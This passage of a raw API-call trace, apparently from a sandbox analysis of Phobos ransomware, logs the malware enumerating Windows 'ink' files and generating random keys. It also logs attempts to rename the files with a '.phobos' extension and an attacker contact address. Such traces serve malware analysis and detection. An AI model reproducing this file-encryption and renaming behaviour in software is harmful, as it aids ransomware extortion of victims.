shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.044] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11067) returned 1 [0148.044] CloseHandle (hObject=0x568) returned 1 [0148.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0148.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.044] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.045] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=44506) returned 1 [0148.045] CloseHandle (hObject=0x568) returned 1 [0148.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0148.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.046] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.047] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=737) returned 1 [0148.047] CloseHandle (hObject=0x568) returned 1 [0148.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0148.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.048] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=221) returned 1 [0148.048] CloseHandle (hObject=0x568) returned 1 [0148.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0148.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.049] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.050] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=471) returned 1 [0148.050] CloseHandle (hObject=0x568) returned 1 [0148.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0148.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.051] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.051] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=215) returned 1 [0148.051] CloseHandle (hObject=0x568) returned 1 [0148.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0148.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.262] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.263] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46624) returned 1 [0148.263] CloseHandle (hObject=0x584) returned 1 [0148.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0148.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.264] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=498624) returned 1 [0148.264] CloseHandle (hObject=0x584) returned 1 [0148.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0148.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.265] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.265] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1100592) returned 1 [0148.265] CloseHandle (hObject=0x584) returned 1 [0148.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0148.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.266] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.267] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2515696) returned 1 [0148.267] CloseHandle (hObject=0x584) returned 1 [0148.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0148.267] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0148.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0148.269] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.269] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3380096) returned 1 [0148.269] CloseHandle (hObject=0x584) returned 1 [0148.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0148.269] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0148.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0 [0148.270] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.272] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2418) returned 1 [0148.272] CloseHandle (hObject=0x584) returned 1 [0148.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0148.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.273] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.273] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2592) returned 1 [0148.273] CloseHandle (hObject=0x584) returned 1 [0148.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0148.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.274] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.274] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2462) returned 1 [0148.274] CloseHandle (hObject=0x584) returned 1 [0148.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0148.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.275] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.275] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2436) returned 1 [0148.275] CloseHandle (hObject=0x584) returned 1 [0148.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0148.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.276] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0148.277] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2556) returned 1 [0148.277] CloseHandle (hObject=0x584) returned 1 [0148.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0148.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.278] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0148.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 